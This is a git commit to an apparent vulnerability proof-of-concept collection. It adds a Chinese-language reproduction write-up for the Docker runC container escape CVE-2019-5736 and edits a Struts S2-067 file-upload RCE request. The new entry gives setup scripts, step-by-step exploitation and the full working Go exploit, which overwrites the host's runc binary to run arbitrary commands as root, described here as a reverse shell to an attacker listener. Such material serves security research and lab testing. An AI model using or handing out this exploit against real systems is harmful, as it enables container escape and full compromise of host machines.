This commit is contained in:
Threekiii 2025-06-09 16:05:27 +08:00
parent 5d6387153c
commit 83d761ec80
12 changed files with 229 additions and 4 deletions

View File

@ -731,6 +731,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
* Docker build 漏洞导致命令执行 CVE-2019-13139 * Docker build 漏洞导致命令执行 CVE-2019-13139
* Docker copy 漏洞导致容器逃逸 CVE-2019-14271 * Docker copy 漏洞导致容器逃逸 CVE-2019-14271
* Docker daemon api 未授权访问漏洞 RCE * Docker daemon api 未授权访问漏洞 RCE
* Docker runC 漏洞导致容器逃逸 CVE-2019-5736
* Kubernetes + Ubuntu 18.04 漏洞环境搭建 * Kubernetes + Ubuntu 18.04 漏洞环境搭建
* Kubernetes API Server 未授权命令执行 * Kubernetes API Server 未授权命令执行
* Kubernetes etcd 未授权访问 * Kubernetes etcd 未授权访问

View File

@ -69,15 +69,15 @@ curl http://your-ip:8080/upload.action
``` ```
POST /upload.action HTTP/1.1 POST /upload.action HTTP/1.1
Host: 124.221.47.70:8080 Host: your-ip:8080
Content-Length: 320 Content-Length: 320
Cache-Control: max-age=0 Cache-Control: max-age=0
Origin: http://124.221.47.70:8080 Origin: http://your-ip:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NRMscRh7zNdWblD Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2NRMscRh7zNdWblD
Upgrade-Insecure-Requests: 1 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.221.47.70:8080/upload.action Referer: http://your-ip:8080/upload.action
Accept-Encoding: gzip, deflate, br Accept-Encoding: gzip, deflate, br
Accept-Language: en Accept-Language: en
Cookie: JSESSIONID=4563A1B22B51DE02F1FD131C1E88DE5C Cookie: JSESSIONID=4563A1B22B51DE02F1FD131C1E88DE5C
@ -95,7 +95,7 @@ Content-Disposition: form-data; name="top.UploadFileName";
------WebKitFormBoundary2NRMscRh7zNdWblD-- ------WebKitFormBoundary2NRMscRh7zNdWblD--
``` ```
![](images/Apache%20Struts%20S2-067%20远程代码执行漏洞%20CVE-2024-53677/image-20241218085852812.png) ![](images/Apache%20Struts%20S2-067%20远程代码执行漏洞%20CVE-2024-53677/image-20250609092329755.png)
访问上传文件: 访问上传文件:

Binary file not shown.

After

Width:  |  Height:  |  Size: 399 KiB

View File

@ -0,0 +1,224 @@
# Docker runC 漏洞导致容器逃逸 CVE-2019-5736
## 漏洞描述
Docker、containerd 或者其他基于 runc 的容器在运行时存在安全漏洞,攻击者可以通过特定的容器镜像或者 exec 操作获取到宿主机 runc 执行时的文件句柄并修改 runc 的二进制文件,从而获取到宿主机的 root 执行权限。要利用此漏洞,需要在容器内拥有 root (uid 0)。
参考链接:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736
- https://github.com/Frichetten/CVE-2019-5736-PoC
## 漏洞影响
```
docker version <= 18.09.2
RunC version <= 1.0-rc6
```
## 环境搭建
ubuntu 18.04 使用以下脚本 `install_docker_18.09.0.sh` 安装 Docker 18.09.0
```shell
#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
| sudo tee /etc/apt/sources.list.d/docker.list
echo "[*] Updating package index..."
sudo apt update
echo "[*] Searching for Docker 18.09.0..."
VERSION_STRING=$(apt-cache madison docker-ce | grep 18.09.0 | head -n1 | awk '{print $3}')
if [ -z "$VERSION_STRING" ]; then
echo "[*] Docker 18.09.0 not found"
exit 1
fi
echo "[*] Found version: $VERSION_STRING"
echo "[*] Installing Docker version $VERSION_STRING ..."
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io --allow-downgrades
echo "[*] Locking version to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
echo "[*] Installation complete, current version:"
docker --version
```
安装 runc
```
wget https://github.com/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
sudo install -m 755 runc.amd64 /usr/local/sbin/runc
```
![](images/Docker%20runC%20漏洞导致容器逃逸%20CVE-2019-5736/image-20250609135136844.png)
## 漏洞复现
**注意,以下操作将覆盖 runc ,这会导致您的系统无法再运行 Docker 容器。请在虚拟环境中操作。**
通过 [该项目](https://github.com/Frichetten/CVE-2019-5736-PoC) ,我们将用 `#!/proc/self/exe` 覆盖容器中的 `/bin/sh` ,写入恶意命令。如果容器使用 `runc` 启动,`/proc/self/exe` 实际指向的就是容器运行时使用的 `runc` 二进制文件。那么,当在容器内执行 `/bin/sh` 时,将尝试修改 `/proc/self/exe` 的目标文件,即主机上的 `runc` 二进制文件。
将 payload 修改为执行反弹 shell编译
```
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
```
![](images/Docker%20runC%20漏洞导致容器逃逸%20CVE-2019-5736/image-20250609152613014.png)
新建一个容器,将编译好的 main 传入容器:
```
sudo docker run -itd --name=5736 ubuntu bash
docker cp ./main 5736:/
```
执行 main覆盖 `/bin/sh`
```
docker exec -it 5736 /bin/bash
root@a9b857df4cc6:/# ./main
[+] Overwritten /bin/sh successfully
```
![](images/Docker%20runC%20漏洞导致容器逃逸%20CVE-2019-5736/image-20250609154151387.png)
重新打开一个窗口,执行 `/bin/sh`,获取文件句柄,写入恶意命令:
```
docker exec -it 5736 /bin/sh
No help topic for '/bin/sh'
```
![](images/Docker%20runC%20漏洞导致容器逃逸%20CVE-2019-5736/image-20250609154322562.png)
查看之前的窗口,此时已经执行成功:
![](images/Docker%20runC%20漏洞导致容器逃逸%20CVE-2019-5736/image-20250609154420443.png)
退出当前容器,重新进入,触发恶意命令:
```
docker exec -it 5736 /bin/bash
```
![](images/Docker%20runC%20漏洞导致容器逃逸%20CVE-2019-5736/image-20250609154631151.png)
攻击机监听 9999 端口:
![](images/Docker%20runC%20漏洞导致容器逃逸%20CVE-2019-5736/image-20250609154731981.png)
## 漏洞 POC
- https://github.com/Frichetten/CVE-2019-5736-PoC
```go
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
```
## 漏洞修复
- 升级至最新版本 https://docs.docker.com/engine/release-notes/

Binary file not shown.

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 124 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB